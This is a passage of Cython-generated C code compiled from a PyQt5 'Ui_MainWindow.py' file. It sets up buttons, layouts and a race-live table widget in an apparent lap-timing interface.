__PYX_ERR(0, 798, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":799 * self.horizontalLayout_5.addWidget(self.B_Stop_2) * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Start_2.setToolTip("") # <<<<<<<<<<<<<< * self.B_Start_2.setStatusTip("") * self.B_Start_2.setAccessibleName("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 799, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 799, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__514, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 799, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":800 * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Start_2.setToolTip("") * self.B_Start_2.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Start_2.setAccessibleName("") * self.B_Start_2.setAccessibleDescription("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 800, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 800, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__515, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 800, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":801 * self.B_Start_2.setToolTip("") * self.B_Start_2.setStatusTip("") * self.B_Start_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Start_2.setAccessibleDescription("") * self.B_Start_2.setObjectName("B_Start_2") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 801, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 801, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__516, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 801, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":802 * self.B_Start_2.setStatusTip("") * self.B_Start_2.setAccessibleName("") * self.B_Start_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Start_2.setObjectName("B_Start_2") * self.horizontalLayout_5.addWidget(self.B_Start_2) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 802, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 802, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__517, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 802, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":803 * self.B_Start_2.setAccessibleName("") * self.B_Start_2.setAccessibleDescription("") * self.B_Start_2.setObjectName("B_Start_2") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.B_Start_2) * self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 803, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 803, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__518, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 803, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":804 * self.B_Start_2.setAccessibleDescription("") * self.B_Start_2.setObjectName("B_Start_2") * self.horizontalLayout_5.addWidget(self.B_Start_2) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) * self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 804, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":805 * self.B_Start_2.setObjectName("B_Start_2") * self.horizontalLayout_5.addWidget(self.B_Start_2) * self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) # <<<<<<<<<<<<<< * self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) * self.R_RaceLive_2.setToolTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Laptime); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 805, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":806 * self.horizontalLayout_5.addWidget(self.B_Start_2) * self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) * self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setToolTip("") * self.R_RaceLive_2.setStatusTip("") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QTableWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2, __pyx_t_6) < 0) __PYX_ERR(0, 806, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":807 * self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) * self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) * self.R_RaceLive_2.setToolTip("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setStatusTip("") * self.R_RaceLive_2.setAccessibleName("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 807, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 807, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__519, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 807, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":808 * self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) * self.R_RaceLive_2.setToolTip("") * self.R_RaceLive_2.setStatusTip("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setAccessibleName("") * self.R_RaceLive_2.setAccessibleDescription("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 808, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 808, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__520, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 808, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":809 * self.R_RaceLive_2.setToolTip("") * self.R_RaceLive_2.setStatusTip("") * self.R_RaceLive_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setAccessibleDescription("") * self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 809, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 809, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__521, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 809, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":810 * self.R_RaceLive_2.setStatusTip("") * self.R_RaceLive_2.setAccessibleName("") * self.R_RaceLive_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 810, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 810, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__522, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 810, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":811 * self.R_RaceLive_2.setAccessibleName("") * self.R_RaceLive_2.setAccessibleDescription("") * self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setFrameShape); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QFrame); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_NoFrame); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 811, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":812 * self.R_RaceLive_2.setAccessibleDescription("") * self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive_2.setTabKeyNavigation(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSizeAdjustPolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QAbstractScrollArea); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_AdjustToContents); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); 